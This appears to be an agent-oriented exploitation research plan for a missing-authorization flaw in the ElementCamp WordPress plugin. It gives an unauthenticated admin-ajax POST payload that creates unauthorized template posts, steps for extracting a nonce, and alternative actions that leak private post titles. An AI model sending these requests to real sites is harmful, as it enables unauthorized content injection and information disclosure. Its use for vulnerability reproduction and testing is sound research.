Exploitation Research Plan: CVE-2026-24556 (ElementCamp)

1. Vulnerability Summary

The ElementCamp plugin (versions <= 2.3.2) is vulnerable to Missing Authorization in its AJAX handlers. Specifically, the function tcg_create_dynamic_block is registered for unauthenticated users (wp_ajax_nopriv_tcg_create_dynamic_block) in elementor/elementor-addon.php.

The function likely lacks both a capability check (current_user_can) and a nonce check (check_ajax_referer), allowing any unauthenticated attacker to create new dynamic blocks/templates (Post Type: tcg_teb) on the WordPress site. This results in a low-integrity impact as attackers can inject unauthorized content into the database.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: tcg_create_dynamic_block (Registered for both authenticated and unauthenticated users).
• Method: POST
• Authentication: None required (unauthenticated).
• Preconditions: Plugin must be active. Elementor should ideally be installed (though the AJAX handler may run regardless).

3. Code Flow

1. Entry Point: admin-ajax.php receives a request with action=tcg_create_dynamic_block.
2. Hook Registration: In elementor/elementor-addon.php, the action is registered:

   add_action( 'wp_ajax_nopriv_tcg_create_dynamic_block', 'tcg_create_dynamic_block' );
   add_action( 'wp_ajax_tcg_create_dynamic_block', 'tcg_create_dynamic_block' );
   

3. Vulnerable Sink: The function tcg_create_dynamic_block (truncated in source) is called. Based on the plugin's structure and function naming:
   • It retrieves parameters such as title, template_type, and potentially data.
   • It calls wp_insert_post() to create a post of type tcg_teb (identified in themescamp_notification_choices and themescamp_offcanvas_choices).
   • It likely uses update_post_meta() to set the template_type.
4. Missing Check: No authorization check is performed before the database write.

4. Nonce Acquisition Strategy

Based on elementor/controls/Select2.php, the plugin does not localize a nonce for its Select2 AJAX actions, and the corresponding JavaScript in elementor/assets/js/tcg-select2.js does not send one. If tcg_create_dynamic_block follows this pattern, no nonce is required.

If a nonce is discovered during manual inspection:

1. Identify where dynamic-editor.js or tcg-select2.js is enqueued.
2. Create a post using the [element-camp] (or similar) shortcode if required to load the scripts.
3. Navigate to the page.
4. Use browser_eval to extract the nonce from the localized object (likely tcg_select2_localize or a similar global variable).

Current Assumption: No nonce is enforced for tcg_create_dynamic_block.

5. Exploitation Strategy

The goal is to create an unauthorized post of type tcg_teb.

Request Details

• Tool: http_request
• URL: {{BASE_URL}}/wp-admin/admin-ajax.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

  action=tcg_create_dynamic_block&title=Unauthorized+Template&template_type=notification
  

  (Note: template_type values like notification or offcanvas are valid per themescamp_notification_choices).

Expected Response

A successful request should return a JSON response, likely containing a success: true flag and the newly created post_id.

{"success":true,"data":{"post_id":123}}

6. Test Data Setup

1. Install and activate the ElementCamp plugin (v2.3.2).
2. Install and activate Elementor (dependency).
3. Confirm the existence of the tcg_teb post type (can be checked via wp post-type list).

7. Expected Results

• The AJAX request returns a 200 OK with a success JSON body.
• A new post is created in the WordPress database with the title "Unauthorized Template" and post type tcg_teb.
• The post meta template_type for the new post is set to notification.

8. Verification Steps

After the HTTP request, use WP-CLI to verify the state:

# Check if the post was created
wp post list --post_type=tcg_teb --fields=ID,post_title,post_status

# Verify the meta value
wp post meta get <ID> template_type

9. Alternative Approaches

If tcg_create_dynamic_block fails, examine the other Select2 AJAX actions which are likely also missing authorization:

1. Action: tcg_select2_search_post
   • Parameters: post_type=post&term=secret
   • Goal: Information Disclosure of private post titles (though CVSS suggests Integrity impact is primary).
2. Action: tcg_select2_get_title
   • Parameters: post_type=post&id[]=1
   • Goal: Retrieve titles of private posts by ID.

If the tcg_teb post type requires specific Elementor data to be "valid," the payload may need to include a data parameter containing a JSON-encoded Elementor structure (e.g., data=[{"elType":"section",...}]).